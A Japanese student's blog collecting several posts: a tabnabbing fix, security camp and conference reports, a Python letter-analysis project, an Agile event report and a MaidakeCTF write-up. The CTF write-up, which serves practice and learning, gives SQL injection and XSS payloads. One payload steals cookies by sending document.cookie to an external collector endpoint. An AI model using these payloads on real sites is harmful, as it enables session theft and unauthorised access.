target="_blank"の脆弱性について
概要
HTMLのaタグで新しいタブで開く際によくtarget="_blank"が利用されるが、これには脆弱性があるため対処が必要である。
脆弱性の詳細
Tabnabbing(タブナビング)という攻撃に利用されるものであり、遷移先ページから遷移元ページのタブが操作ができてしまうというものである。
対処方法
aタグ内にrel="noopener"を追記することで対処できる。
例としてexample.comにリンクする際のコードを示す。
<a href="example.com" target="_blank" rel="noopener">example.comへのリンク</a>
ただしnoopenerはIE等の一部ブラウザに対応していない。
そのためrelにnoreferrerという属性値を追記する。こうすることでIE等noopenerが対応していないブラウザに対しても脆弱性対策ができる。
<a href="example.com" target="_blank" rel="noopener noreferrer">example.comへのリンク</a>
注意点
noreferrerをつけるとリファラー(どのサイトからリンクされてきたかという情報)が消えるため、アクセス解析やアフィリエイト等に影響が出る場合がある。
上記の例の場合、どのサイトからexample.comにアクセスしてきたかが分からなくなる。
また、この脆弱性はtarget="_blank"特有のものではなくtarget="_new"でも確認された。
まとめ
コード | 内容 |
---|---|
<a href="example.com" target="_blank">example.comへのリンク</a> |
脆弱性あり |
<a href="example.com" target="_blank" rel="noopener">example.comへのリンク</a> |
一部ブラウザが非対応。やむを得ない場合以外は使用すべきではない |
<a href="example.com" target="_blank" rel="noopener noreferrer">example.comへのリンク</a> |
脆弱性対策されている |
参考
セキュリティ・ミニキャンプin長崎に参加しました
概要
12月14日に長崎県立大学シーボルト校で開催されたセキュリティ・ミニキャンプin長崎の内容や感想をまとめました。
オープニング
会場は我が学科自慢のセキュリティ演習室で行われました。参加受付をして自分の班のテーブルに着きました。自分の班は同じ学科の先輩3名、高校生1名、他大学の学生1名でした。
オープニングでは午後の講義のための準備や技術者倫理についての話がありました。
IoTシステムのセキュリティを設計してみる
IoTシステムをどのように設計すればセキュアになるかを評価シートを用いながら考えるという講義でした。
講師の方から「IoTとはどんなものだと思うか」と訊かれて「最近では家庭だけでなく農業や漁業などいろんなところに使われているもの」という風に答えたらバイナリかるたがもらえました。
バイナリカルタ貰った!!#seccamp pic.twitter.com/OdDP7HO1kM
— Issei (@camera510PC7) 2019年12月14日
講義の中ではIoTのネットワークカメラにどのような機能を持たせ、どのようなネットワークを構築すればよいかということを考え、模造紙に書いて説明するということをしました。
ネットワークカメラのアーキテクチャの設計をグループで行い、会場にいる参加者に向けて発表、議論を行いました。 #seccamp pic.twitter.com/WqtzFN827K
— セキュリティ・キャンプ (@security_camp) 2019年12月14日
昼食
昼食はウィズンの弁当でした。 他の参加者の方や講師の方と話しながら楽しく食べました。
今回の昼食では、午前で行ったワークの振り返りながら、講師やチューターと一緒に交流をしました。 #seccamp pic.twitter.com/fRmqvl3WvU
— セキュリティ・キャンプ (@security_camp) 2019年12月14日
Webアプリケーションフレームワークで学ぶ、Webセキュリティ
VirtualBoxの上のUbuntuにLaravelで構築されたやられWebアプリを起動させて脆弱性を見つけていくという講義でした。
今回使用したやられwebアプリ↓
github.com
二つのWebアプリケーションが用意されていて、最初はログイン画面にSQLインジェクションの脆弱性があるのを見つけて、その脆弱性を修正するということをしました。
そしてもう一つの方は班で脆弱性を見つけて最後にどんなものがあったのかを発表するというものでした。自分はXSSを6つとディレクトリトラバーサルを1つ見つけました。
クロージング・会場移動
最後にアンケートに記入して一旦解散となりました。そのあと、後夜祭のためにCO-DEJIMAに移動しました。セキュリティ・ミニキャンプ in 長崎 2019の全プログラムが終了しました。このキャンプを元にさらにスキルアップをして全国大会や他のミニキャンプでお会いできることを楽しみにしています! #seccamp pic.twitter.com/xiLwV3vZi1
— セキュリティ・キャンプ (@security_camp) 2019年12月14日
移動はなんと県立大学のシャトルバスでした。(あのバス初めて乗った...)
後夜祭
後夜祭では他の参加者やチューターの方といろんな話をすることができました。
自分はLTをしたのですが、その内容は以下の記事にまとめています。
camera510pc7.hatenablog.com
こんな感じのLTをしました。
おっ?#seccamp pic.twitter.com/CZ8Rt2RCsL
— よしみ. (寝る前、薬) (@labo_4423) 2019年12月14日
また、自分以外にチューターの方もLTをされていました。内容はハードウェアハッキングで、やはりレベルは高かったです。
感想
今回自分は初めてセキュリティ・ミニキャンプに参加しました。Webアプリケーションの講義では実際に脆弱性を修正するという貴重な体験ができたのでとても勉強になりました。(普段はCTFで脆弱性を探すことしかしないので...)
また、グループで話し合ってIoTセキュリティを考えるという講義も新鮮で面白かったです。
そして何よりいろいろな人(先輩、他大学の学生の方、高校生の方、講師の方...etc)とコミュニケーションが取れたことがとてもよかったです。
ぜひ来年も全国大会にエントリーしてみようと思います。(今年度は落選でした...)
「女学生の気持ちをPythonで可視化してみた」というLTの裏側
本記事は長崎県立大学 Advent Calendar 2019の21日目の記事です。
前の人の記事
kobayashi9.hatenadiary.com
概要
12月14日(土)に行われたセキュリティ・ミニキャンプin長崎の後夜祭で僕が発表したLTの裏側、経緯について語ったものです。
発表したLT
すべての始まり
時はミニキャンプ当日の数週間前に遡ります。とある先生から「ミニキャンプの後夜祭でLTやるから何かネタを考えておいてね」と連絡がありました。
何をやろうかと悩んだのですが、ふと今読んでいる小説を見た時にあることを思い付きました。
その小説は乙女の港(川端康成、中里恒子 作)というものです。
詳しい内容は省きますが、この小説の中では女学生たち(特に上級生と下級生)が手紙をやり取りするシーンというのがよく出てきます。
このシーンを見た時に「当時の女学生は実際にどんな手紙をやり取りしていたのかな」と疑問に思い、いろいろ調べてみると国立国会図書館デジタルコレクションで当時の女学生の手紙をまとめている本が公開されていることを知りました。
女学生の手紙大好きマンだった明治の詩人・溝口白羊さんが、百合百合しいお手紙をご本にまとめてくれたおかげで、現代でもネットで無料で読めるのよハイカラで最高ね→https://t.co/LgeSy5ytUx pic.twitter.com/9cm6S0hr2l
— まきむぅ(牧村朝子) (@makimuuuuuu) 2017年4月29日
こういった経緯から手紙を解析してみようとなりました。
解析するにあたって
形態素解析するにはテキストデータが必要になります。国立国会図書館デジタルコレクションからダウンロードできるのはPDFまたはJPEGしかありません。初めはGoogleDriveのOCR機能を使ってテキストデータ化しようと考えましたが、どうもうまくいきません。
原因として考えられるのは手紙が旧仮名遣いや旧字体で書かれているということです。
仕方がないので人力で文字起こしをしましたが、一部の旧字体は環境依存文字となっていて後述のプログラムに落とし込むとエラーで落ちてしまいました。なので環境依存文字となっている旧字体は新字体に変換しました。
変換してもなかなか出てこない字もあり、入力作業は大変でした。
ネガティブ・ポジティブ判定について
今回は東工大の高村教授が公開されている単語感情極性対応表を使いました。
これをCSVに変換してプログラムに取り込みます。
Pythonでプログラミング
【kashika.py】
【miyakonookatani.txt】
皆様此頃どうしてゐられます。私はお様子を聞きたくて仕方がありません。毎日さみしい机にもたれていらいらしてゐるのです。秋といふと皆様はどんなことをお考えあそばすでせう。私のほうはもうすっかり秋になりました。二三日中には稲も刈り入れるばかりになりました。私は、何故でせう。いくら秋になつても、冬になつても、じつと落ち着いてゐられません。いつも氣がせかせかして、ひまがあると近くの野を歩き廻るんです。野にはやさしい花も咲いてゐませう。蟲の音も聞こえませう、けれども私は、そんなもの少しも氣にとまらないのです。ただぼんやりわびしい日が渡つて行く空を眺めて、皆様のことばかり考えてゐるのです。この心持何と言つたら好いでせう。矢張秋の心持とでもいうのでせうか。
$ python3 kashika.py miyakonookatani.txt
という感じに実行します。
発表準備
スライドは当日の2~3日前に作りました。
LT前日に"一人当たり15分"という話を聞き、「どこがライトニングなんや」って突っ込んでました。
感想
セキュリティ・ミニキャンプの後夜祭なのにネタが1ミリもセキュリティと関連しておらず、最初はこのネタで本当に大丈夫かという不安や、数日前から気管支がやられててちゃんと喋れるかという不安がありましたが終わってみると好評だったようでとてもよかったです。
完全に自分の趣味で始めたことですが今回のネタをもっと発展させていければと思っています。
また、今回他大学の学生の方や社会人の方の前でLTをさせていただくというのはとても貴重な体験でした。本当にありがとうございました。
学部1年生がCSS2019のセッションを見聞きして感じたこと
概要
10月21日から4日間、ハウステンボスでコンピュータセキュリティシンポジウム(CSS)2019が開催されていました。僕は2日目は学生バイト(Welcomeゲートの前の受付案内)として、3日目はジュニア会員として参加しました。
この塔がCSSの会場となっていました。
10月なのでハロウィン仕様のハウステンボスです。
夜のライトアップがとてもきれいでした。
聞いたセッション
10月22日
- 2A4: マルウェア検知
- ポスターセッション
- CSS2.0
10月23日
感想
自分は今回、初めてこのような学会に参加したので会場の雰囲気がとても新鮮に感じました。まだまだ知識不足でセッションを聞いても自分で吸収して消化できるものはごくわずかしかありませんでしたが、「これからこんな事やあんな事を研究してみたい」という野心を抱くことができたのでとても有意義な時間を過ごすことができました。
またどのセッションを聞いても学部1年でやっている線形代数や統計学の知識が出てきたので「今、とても大事な勉強をしているんだな」という実感がわきました。
反省点としては、どのセッションでも機械学習についての話が出てきたのでどういう仕組みでどんなことをしているのかを事前に具体的に知っておくべきだったなと思いました。
全体を通して、今回の参加は自分にとって大きなプラスになったと思います。これからもこういった機会を見つけて自分を成長させていければいいなと思います。
MaidakeCTF WriteUp
概要
Cyber研究会合宿2019に向けて行われたMaidakeCTFのWriteUpです。
Web
White Flag
真っ白なページが表示されます。
Ctrl + Aでページ内の文字を全選択するとフラグが現れます。
Ctrl + Cでコピーします。(右クリック禁止、F12禁止なので)
MaidakeCTF{White_strings_can_be_seen_by_reversing}
2048
自分は素直にゲームをやってフラグをゲットしましたが、ゲームをやらなくてもソースコードからフラグが確認できました(後でわかった)
MaidakeCTF{Do_not_be_fooled_the_look}
Baked goods
ページにアクセスするとクッキーのイラストが出てきます。これはブラウザのcookieを見ろということでしょうか。ブラウザのcookieを見てみるとフラグがありました。
MaidakeCTF{Beware_of_cookie_theft}
Not hiding
ページ自体には何も書かれていないようなのでソースコードを見てみます。CSSが外部のファイルで指定してあるようです。このCSSのコードにアクセスするとフラグがありました。
MaidakeCTF{I_am_getting_tired_of_thinking_about_flags}
Usual
とりあえず適当なIDとパスワードを入力してみます。当たり前ですがはじかれます。
次にSQLインジェクションができるかどうか試してみます。
' or 1=1 ; --
パスワードが入っていないとログインが押せない(フロントエンドでバリデーションしていある)ので適当にパスワードを打ち込み、ログインボタンを押します。
フラグが表示されました。
MaidakeCTF{Speaking_of_SQL_injection_is_this}
XSS Alert
XSSであれば何でもよいということなので定番のアラートでやりました。
<script>alert("XSS")</script>
フラグゲットです。
MaidakeCTF{Escape_is_a_simple_but_important_process}
Agent
AgentがMilvasであれば良さそうなのでFireFoxの開発者ツールからAgentをMilvasに変更して再送信します。
User-Agent:Milvas
応答のところを見るとフラグが表示されました
MaidakeCTF{Impersonating_user_agents_is_so_easy}
No form
パラメーターのoluriにso_cuteが入っていたらフラグが表示されるようです。自分はcurlでPOSTしました。
$curl -k -X POST -d 'oluri=so_cute' https://maidakectf2019.aokakes.work/problems/No_form/
フラグが表示されました。
MaidakeCTF{If_the_configuration_of_the_website_is_bad_you_can_POST_without_the_form}
Maze
ソースコードを見てみるとこの辺りで矢印キーを押したときの処理をしているようです。どうやら変数xと変数yで座標の管理をしているようです。
開発者ツールのコンソールを開いて変数xと変数yがどんな値になっているか調べてみます。
alert(x);
alert(y);
これを書き換えればゴールできそうです。今回はxの値を30に変更してみます。
x=30;
矢印キーを押してゴールまでたどり着けばフラグが表示されます。
MaidakeCTF{If_you_implement_it_poorly_another_file_may_be_screwed_in}
Hijack
ページの表示からは特に情報が得られないためソースコードを見てみます。
ソースコードの一番上に何やらコメントアウトされた文字列がありました。
問題のタイトルから察するにこれがセッションIDなのだと思われます。開発者ツールを開いてPHPSESSIDをこれに書き換えてリロードします。
フラグが表示されました。
MaidakeCTF{Session_manegement_must_be_done_with_care}
Haiku contest
とりあえず、適当にIDを作ってログインしてみます。
ログインすると俳句の投稿フォームが表示されました。
このフォームにどんな脆弱性があるのか調べます。まずXSSから調べていきたいと思います。
<script>alert("XSS")</script>
アラートが表示されたのでこのフォームにはXSSの脆弱性があることが分かりました。
おそらく採点ボタンを押したときにサーバー側のcookieを盗むというものだと考えられます。
まず、外部からアクセスできるサーバーを準備します。今回はGoogle Apps Scriptを使います。
Google Apps Scriptのプログラムを書きます。
function doGet(e) { var html = ''; html += e.parameter.a + '</p>'; console.log(e); var id = "スプレッドシートのID"; var spreadSheet = SpreadsheetApp.openById(id); var sheetName = "シート名"; spreadSheet.getSheetByName(sheetName).appendRow( [new Date(), e]); return HtmlService.createHtmlOutput(html); }
パラメータaに入力するとそれがスプレッドシートに出力されるようになっています。 このプログラムをウェブアプリとしてアクセスできるようにしておきます。 次にXSSで挿入するコードを作成します。
<script>location.href="https://script.google.com/macros/s/xxxxxxxxxxxx/exec?a="+document.cookie</script>
※URLは一部マスクしてあります。
これで準備完了です。あとはフォームにXSSすればスプレッドシートにフラグが表示されます。
ただし、なぜかGoogle Apps Scriptでやるとうまくフラグがかえって来ない時が多いのでお勧めしません。
MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}
QR
A littele missing QR
QRコードの切り出しシンボルが取れているので、これをペイントで補填してあげてから読み取るだけです。
MaidakeCTF{restoring_qr_code_corners_is_easy}
white or black
0と1が書かれたCSVファイルが渡されます。
0の部分がQRコードの白い部分、1の部分がQRコードの黒い部分と対応しているので、このファイルをExcelで開いて条件付き書式で色を付けていき、セルが正方形になるように大きさを調節します。
これを読み取るとフラグが表示されます。
MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}
Three codes
このサイトでグレースケール2色にして変換して読み込んでみると「Second:Images_can_be_」という文字列が現れました。これはタイトルからもわかる通りRGBごとにQRコードがあるものだと推測できます。
ということでこの画像をうさ耳ハリケーンの青い空を見上げればいつもそこに白い猫で解析してみます。ステガノグラフィー解析から「赤のみ抽出」「緑のみ抽出」「青のみ抽出」しそれぞれ読み込みそれらをつなげるとフラグが表示されます。
MaidakeCTF{Images_can_be_represented_in_RGB}
QR Puzzle , QR Puzzle 2nd , QR Puzzle 3rd
3問とも同じ解き方です。CSSのbackground:url()に画像のパスが入っているので画像に直リンして保存します。あとはGIMPでひたすらジグソーパズルをやるだけです。パズルをやるときのポイントとしては先に切り出しシンボル、タイミングパターン、余白からわかる端の部分を並べておくことです。
QR Puzzle
MaidakeCTF{QR_code_slide_puzzles_are_very_very_difficult}
QR Puzzle 2nd
MaidakeCTF{It_becomes_more_difficult_when_it_comes_to_16_slide_puzzles}
QR Puzzle 3rd
MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
Misc
Welcome
表示されたフラグを入力するだけです
Hex
フラグが16進数で書かれているのでそれを文字にデコードするだけです。
以下のコードはPythonです
with open("flag") as f: s = f.read() ans = bytes.fromhex(s).decode("utf-8") print(ans)
MaidakeCTF{Hexadecimal_numbers_are_frequently_used_in_this_industry}
String line
ページにアクセスするとバーコードが表示されるためこれを読み取ればフラグが表示されます。
MaidakeCTF{We_can_use_alphanumeric_symbols_in_code128}
Turtle speed
ソースコードを見ると右から左に流れてくるのはモールス信号だとわかります。モールス信号を欧文と記号で復元すればフラグが手に入ります。以下コードはPythonです。
flag = "ーー ・ー ・・ ー・・ ・ー ー・ー ・ ー・ー・ ー ・・ー・ ー・ーー・ ・ーー・ ・ ーーー ・ーー・ ・ー・・ ・ ・・ーー・ー ・ーー ・・・・ ーーー ・・ーー・ー ー・ー・ ・ー ー・ ・・ーー・ー ・・ー ー・ ー・・ ・ ・ー・ ・・・ ー ・ー ー・ ー・・ ・・ーー・ー ーー ーーー ・ー・ ・・・ ・ ・・ーー・ー ー・ー・ ーーー ー・・ ・ ・・ーー・ー ・ーーー ・・ー ・・・ ー ・・ーー・ー ー・・・ ー・ーー ・・ーー・ー ・・・ ーーー ・・ー ー・ ー・・ ・・ーー・ー ・ー ・ー・ ・ ・・ーー・ー ・ー ーー ・ー ーー・・ ・・ ー・ ーー・ ー・ーー・ー" flag_split = flag.split() dic = {"・ー": "a","ー・・・": "b","ー・ー・": "c","ー・・": "d","・": "e","・・ー・": "f","ーー・": "g","・・・・": "h","・・": "i","・ーーー": "j","ー・ー": "k","・ー・・": "l","ーー": "m","ー・": "n","ーーー": "o","・ーー・": "p","ーー・ー": "q","・ー・" :"r","・・・": "s","ー": "t","・・ー": "u","・・・-": "v","・ーー": "w","ー・・ー": "x","ー・ーー": "y","ーー・・": "z","・ー・ー・ー": ".","・ーーーー・": "'","ー・ーー・": "(","ー・ーー・ー": ")","・・ーー・ー":"_"} ans = [] for i in flag_split: ans.append(dic[i]) print(''.join(ans))
MaidakeCTF(people_who_can_understand_morse_code_just_by_sound_are_amazing)
Condensed Image
gifアニメーションでフラグが表示されていますが、アニメーションが速すぎて読めません。GIMPにインポートするとコマの一枚一枚が確認できます。
MaidakeCTF{gif_has_more_than_one_picture_concatenated}
Let't Janken
プログラムを見ると1000連勝すればフラグがゲットできるようです。また連勝数はブラウザのcookieに書き込まれているようなので、開発者ツールからcookieを1000以上の値に書き換えて「グー」「チョキ」「パー」のいずれかを押すとフラグが表示されます。
MaidakeCTF{button_mashing_is_not_the_right_solution}
Teleport
どうやらlatitude : 32.7526235、longitude : 129.8495163のところに行けばフラグが表示されるようです。Google Mapで調べると稲佐山展望台です。
まぁ実際行こうと思えば行ける場所ではありますが面倒なのでスマホのアプリで偽の位置情報を送信します。今回はfakeGPSというアプリを使いました。
フラグが表示されました。
MaidakeCTF{Falsifying_coordinates_is_surprisingly_easy}
問題文にもあったように夜景がめちゃきれいです。
Forensics
Unzip
zipファイルをダウンロードして、問題のタイトルにもなっているUnzipコマンドで展開するとパスワードが聞かれます。
分からないのでそのままエンターキーを押すと展開されたフォルダに"UGFzc3dvcmQgaXMgWXFna0dQdkJET0dnWiVxdEZMOFZlUEpmQkdmTTNSQ2djUDVVRiFjVlJCeG9zT0pPZXJV"という名前のファイルができます。
fileコマンドで調べてみると空ファイルのようです。
このファイル名をbase64でデコードするとPassword is YqgkGPvBDOGgZ%qtFL8VePJfBGfM3RCgcP5UF!cVRBxosOJOerU という文字列が出てきました。
YqgkGPvBDOGgZ%qtFL8VePJfBGfM3RCgcP5UF!cVRBxosOJOerU をunzipの時のパスワードに入力するとflagフォルダの中にflag.txtが現れ、この中にフラグがありました。
MaidakeCTF{We_can_tell_what_files_are_included_without_unpacking}
Meta
JPEGファイルのようです。問題タイトルからメタデータに何かかかれているのでしょう。今回はstringsコマンドで調べてみます。
$strings problem.jpg | grep MaidakeCTF
フラグが出てきました。
MaidakeCTF{The_sound_of_the_waterfall_heals_my_mind}
Magic
PDFファイルのようです。GoogleChromeでは開けませんが、なぜかUbuntuのデフォルトのビュアーでは普通に開けます。このPDFファイルにフラグが書かれていました。
MaidakeCTF{Forging_a_magic_number_is_easy}
Stupid picture
真っ白なPNGファイルが渡されます。GIMPで開いて色レベルの変更をしてみます。明度、赤、緑、青すべての入力レベルを上げることでフラグが出現します。
MaidakeCTF{It_is_stupid_to_write_a_strings_in_white_on_a_white_background}
Another Image
PNG画像が渡されます。うさ耳ハリケーンの青い空を見上げればいつもそこに白い猫で解析してみます。ファイル・データ抽出で内包ファイル・データ検索をしてみるとフラグが書かれたJPEGファイルが出現します。
MaidakeCTF{Marigold_is_cute}
Crypto
Is this cipher
flag.txt
TWFpZGFrZUNURntiYXNlNjRfaXNfbm90X2FfY2lwaGVyfQ==
使われている文字の種類や最後にイコールがあることからBase64であることが分かります。これをデコードしたらフラグが出てきました。
MaidakeCTF{base64_is_not_a_cipher}
Easy crypto
flag.txt
ZnvqnxrPGS{Pnrfne_rapelcgvba_vf_rnfl_gb_penpx}
パッと見フラグ形式と同じように見えます。これはシーザー暗号だと思われるので暗号生成ツール『暗号くん』で解読してみます。まずはROT13で有名な13文字ずらしからやってみます。
出てきた文字列の大文字小文字を修正すればフラグとなります。
MaidakeCTF{Caesar_encryption_is_easy_to_crack}
Old Input
flag.txt
6↑2444325533222↑8↑333↑{444↑66788→8_2224427772→222833777→7777_666→66_333→3328→8877733_744666→66337777_4447777_87776668822555337777666→633}
どうやらトグル入力でフラグが書かれているようです。これを解読すれば良さそうです。今回はPythonで解読してみました。
with open("flag.txt") as f: flag = f.read() temp = list(flag) temp2 = [] a = ["a","b","c"] d = ["d","e","f"] g = ["g","h","i"] j = ["j","k","l"] m = ["m","n","o"] p = ["p","q","r","s"] t = ["t","u","v"] w = ["w","x","y","z"] count = 0 for i in range(len(flag)): if flag[i] == "}": temp2.append("}") break if flag[i] != flag[i+1]: if flag[i] == "2": temp2.append(a[count]) elif flag[i] == "3": temp2.append(d[count]) elif flag[i] == "4": temp2.append(g[count]) elif flag[i] == "5": temp2.append(j[count]) elif flag[i] == "6": temp2.append(m[count]) elif flag[i] == "7": temp2.append(p[count]) elif flag[i] == "8": temp2.append(t[count]) elif flag[i] == "9": temp2.append(w[count]) elif flag[i] == "↑" or flag[i]== "→": continue elif flag[i] == "{": temp2.append("{") elif flag[i] == "_": temp2.append("_") count = 0 else: count += 1 print("".join(temp2))
途中から「もうこれ、素直にスマホにトグル入力したほうが早いんじゃないか」と思いながらもなんとかPythonを書き上げました。
上記を実行してflag.txtの上矢印のところを大文字に変更すればフラグになります。
MaidakeCTF{Input_characters_on_feature_phones_is_troublesome}
Kancolle hash
problem .py
#coding: utf-8 kancolle_server = ['横須賀鎮守府','呉鎮守府','佐世保鎮守府','舞鶴鎮守府','大湊警備府','トラック泊地','リンガ泊地','ラバウル基地','ショートランド泊地','ブイン基地','タウイタウイ泊地','パラオ泊地','ブルネイ泊地','単冠湾泊地','幌筵泊地','宿毛湾泊地','鹿屋基地','岩川基地','佐伯湾泊地','柱島泊地'] md5_server = [hashlib.md5(server.encode()).hexdigest() for server in kancolle_server] key = 0 for md5 in md5_server: for moji in md5: key += ord(moji) enc_flag = '' for moji in FLAG: to_ord = key // ord(moji) enc_flag += chr(to_ord) with open('result.txt', 'w') as f: f.write(enc_flag)
とりあえず、Keyの値がいくつになるのか調べてみます。enc_flag = ''の前にprint(key)とすると44321と表示されました。ということでこの逆のプログラムを書けば良さそうです。以下Pythonです。
with open('result.txt') as f: result =list(f.read()) key = 44321 temp = [] for i in result: temp.append(ord(i)) flag = [] for i in temp: flag.append(int( key // i)) ans = '' for i in flag: ans += chr(i) print(ans)
MaidakeCTF{I_love_kancolle_and_I_will_die_when_its_gone}
SHA-1 collision
問題文からSHA-1のハッシュ衝突の問題だとわかります。「SHA-1 ハッシュ衝突」とググってみると以下のサイトが見つかります。
このサイトから二種類のPDFファイルをダウンロードして、問題のページにアップロードすればフラグが表示されます。
MaidakeCTF{It_is_a_little_hard_to_create_a_file_where_SHA-1_collides}
Network
Weak communication
pcapngをダウンロードしてWiresharkで開きます。
明らかに怪しそうなパケットがあるのでこれを調べてみるとフラグがありました。
MaidakeCTF{Wireshark_is_very_useful}
See-through Auth
pcapngをダウンロードしてWiresharkで開きます。
さっきの問題よりもパケットが多くて見づらいのでhttpでフィルターをかけてみます。
一回目のアクセスでは401 Unauthorizedが返ってきてるのでもしかして/problems/http/See-through_Authには何かしらの認証がかかってるのではないかと予想できます。
二つ目のGETパケットを見てみます。
Full request URIに書かれているページにアクセスすると、予想通りBasic認証がかかっていました。
ここでもう一度パケットを見てみます。Authorizationの部分を見てみると
Credentials: oluri:xYwQp2ZCqBfMs2uBd7XhL5ccjgJT2FhrqWFPux6x
とあります。Basic認証の場合、ユーザ名:パスワードの形になるので、先ほどのページにユーザ名oluri、パスワードxYwQp2ZCqBfMs2uBd7XhL5ccjgJT2FhrqWFPux6xでログインしてみます。
するとフラグが現れました。
MaidakeCTF{Basic_authentication_is_easy_to_implement_but_there_are_various_problems}
From oluri
pcapngをダウンロードしてWiresharkで開きます。
httpでフィルターをかけます。どうやらオオルリからのメッセージはwaveファイルのようです。
このパケットを選択して ファイル > オブジェクトをエクスポート > HTTP を選択します。そうするとパケットからwaveファイルが抽出できます。
このwaveファイルを再生するとオオルリがフラグをしゃべります。
MaidakeCTF{Wireshark_can_export_files_exchanged_during_communication}
Image?
問題の画像をうさ耳ハリケーンの青い空を見上げればいつもそこに白い猫で解析してみます。ステガノグラフィー解析で赤色ビットのみ抽出してバイナリで表示してみます。
そうするとパケットが出現します。このバイナリを保存してWiresharkで開いてみます。
このパケットを見てみます。
どうやら http://ctf.server-boujin.net/flag.php にアクセスしています。ここにブラウザでアクセスするとInvalid User-Agentと表示されます。
もう一度パケットを見てみるとcurlでアクセスした形跡があります。
curlからアクセスしてみます。
今度はInvalid Costum Parameter of Headerと表示されました。
もう一度パケットを確認してみます。
するとX-My-Will: I_want_th3_f1ag_!\r\nというパラメータが見つかりました。
ということでcurlでこのパラメータをPOSTしてみます。
$curl -H 'X-My-Will:I_want_th3_f1ag_!' http://ctf.server-boujin.net/flag.php
フラグが表示されました。
MaidakeCTF{Can_U_Und3rstand_th3_Image_of_Binari3s_?}
Prigramming
Only reserved words
Perlのソースコードをダウンロードして、実行するだけでフラグが表示されました。
MaidakeCTF{ppencode_consists_only_of_perl_reserved_words}
Calculator
nc maidakectf2019.aokakes.work 15410
でサーバにアクセスすると50問の計算問題が表示されます。これを解け切ればフラグが表示されるようです。手動で計算・入力するのは面倒なのでPythonを書きます。
import socket import re s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('maidakectf2019.aokakes.work',15410)) data = s.recv(256) for i in range(50): data = s.recv(256) formula = re.sub(r"[a-z\\\\''>>]","",str(data)).split(' ') print(formula) if formula[1] == "+": ans =int(formula[0]) + int(formula[2]) elif formula[1] == "-": ans = int(formula[0]) - int(formula[2]) elif formula[1] == "*": ans = int(formula[0]) * int(formula[2]) elif formula[1] == "/": ans = int(formula[0]) / int(formula[2]) print(str(ans)) s.send(str(ans).encode()) data = s.recv(256) print(data)
これを実行するとフラグが表示されます。
何気にソケット通信するプログラムは初めて書いた...
MaidakeCTF{It_is_also_possible_to_calculate_it_by_yourself}
Calculator 2nd
Calculatorのプログラムを改造します。今回の場合は問題が何問あるかわからないのでwhile(True)で無限ループさせてフラグが表示されたらbreakさせています。
また問題文の最初に「答えは整数で」と書かれているので割り算を切り捨て除算に変更します。
import socket import re s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('maidakectf2019.aokakes.work',17270)) data = s.recv(256) while(True): data = str(s.recv(256)) if data.find('MaidakeCTF') != -1: break formula = re.sub(r"[a-z\\\\''>>]","",str(data)).split(' ') print(formula) if formula[1] == "+": ans =int(formula[0]) + int(formula[2]) elif formula[1] == "-": ans = int(formula[0]) - int(formula[2]) elif formula[1] == "*": ans = int(formula[0]) * int(formula[2]) elif formula[1] == "/": ans = int(formula[0]) // int(formula[2]) print(str(ans)) s.send(str(ans).encode()) print(data)
これを実行するとフラグが出てきます。
MaidakeCTF{The_machine_gives_accurate_answers_even_if_the_calculation_is_complicated}
Reversing
String
ダウンロードしてきたファイルにstringsをしてみます。
$strings flag | grep MaidakeCTF
フラグが出てきました。
MaidakeCTF{It_is_a_promise_to_execute_strings}
Watchword
問題ファイルをstringsしてみます。
どうやら「Please enter watchword.」のところで合言葉を訊かれて、「Milvas」と入力すれば良さそうです。
$ ./problem Please enter watchword. >> Milvas Correct!! MaidakeCTF{We_have_to_devise_various_things_when_you_confirm_the_password}
フラグが出てきました。
感想
最終結果は全体で18位、Cyber研究会内で2位でした。同期に負けてしまったのは悔しかったですが楽しく問題を解くことができたのでよかったです。
Agile Japan 2019 長崎サテライト with NaITE に参加してきました
概要
7月27日にCO-DEJIMAで行われたAgile Japan 2019 長崎サテライト with NaITEに参加したときのレポートです。
参加の経緯
サークルの先輩から長崎でAgileについて学べるイベントがあるという情報を手に入れたのが参加のきっかけです。この機会にAgileについて詳しく学び、将来的にはサークルで何か開発するときにAgileを導入できればいいなぁという思いで参加しました。
内容
受付
受付では名札とAgile新聞をもらいました。
また、開始前にAgileJapanのステッカーも貰いました。
オープニングセッション・アイスブレイクセッション
オープニングセッションではこのイベントでのルール説明、アイスブレイクセッションでは自己紹介とこのイベントに参加した動機を同じテーブルになった方と共有しました。
Agile Japan 2019 基調講演(録画上映)
見聞きした内容は公開しないでくださいと言われているので詳細なことは書けませんが、Agileの導入事例、Agileにとってどんな考え方が必要かというお話でした。
Agile Japan 2019 参加レポート
テーマ:アジャイルでつなぐビジネスとIT
例) Windowsがパッケージ売りからアップデート型になったようにビジネスにもAgileの考え方を導入していく
初参加が7~8割
モブプログラミングもあった
グラフィックレコード(セッション内容を絵にして残していく)をしていた
なぜ始まらない?アジャイル開発 アジャイルコーチと考える組織改革
アジャイルコーチを依頼した側と依頼された側でどうだったかというお話
参加者からのQ&Aで進行していた。
Q&Aでは
- コーチ料金
- スクラムのイベントの日
- メンバ間の認識の調節
- 他チームへの展開の方法
などが上がっていた
アジャイル開発におけるITベンダーメーカーの品質保証・検査の取り組み
メーカ3社のアジャイルでの品質保証へのルール作りの紹介をしていた
- ユーザー目線品質基準での優先度付け
- プロセスの軽量化
- 積極的なツールの活用
Fun Done Learn
Fun Done Learn(楽しかったこと、やったこと、学んだことを共有していくこと) の紹介&チームを作ってやってみる
感想
大企業の事例発表などが多かった
プロジェクトとしてではなく会社全体へAgileを浸透させようとしていた
なお資料は以下にあります
あとでAgile Japan 2019の会場で配られていた缶バッチも貰いました。(上記のスライド参照)
テクニカルセッション
始めよう、ニコカレ!
「アジャイルで仕事を可視化するように個人の気持ちも可視化してみよう」ということで気持ちを可視化するツール”ニコカレ”の開発についてのお話でした。個人的にはdigコマンドで自己紹介しているのが面白かったです。自分も独自ドメインを持ったらやってみたいなぁ
カンバンでテスト活動アジャイル化!
カンバンシステムを使ってテストチーム周りのプロセスをアジャイル化してみたというお話でした。
”ただそのままカンバンにタスクを貼るだけでは数が多くなり悲惨なことになった。
そこでタスクに優先順位をつけてかつ分量をサイズ感で見積もった。そして、作業段階毎にサイズによる制限をかけるようにした。 ”
- 導入効果
- 状況の可視化で部署の満足感が上がった
- チームの能力が見えるようになった
- 高負荷なスケジュールが減った
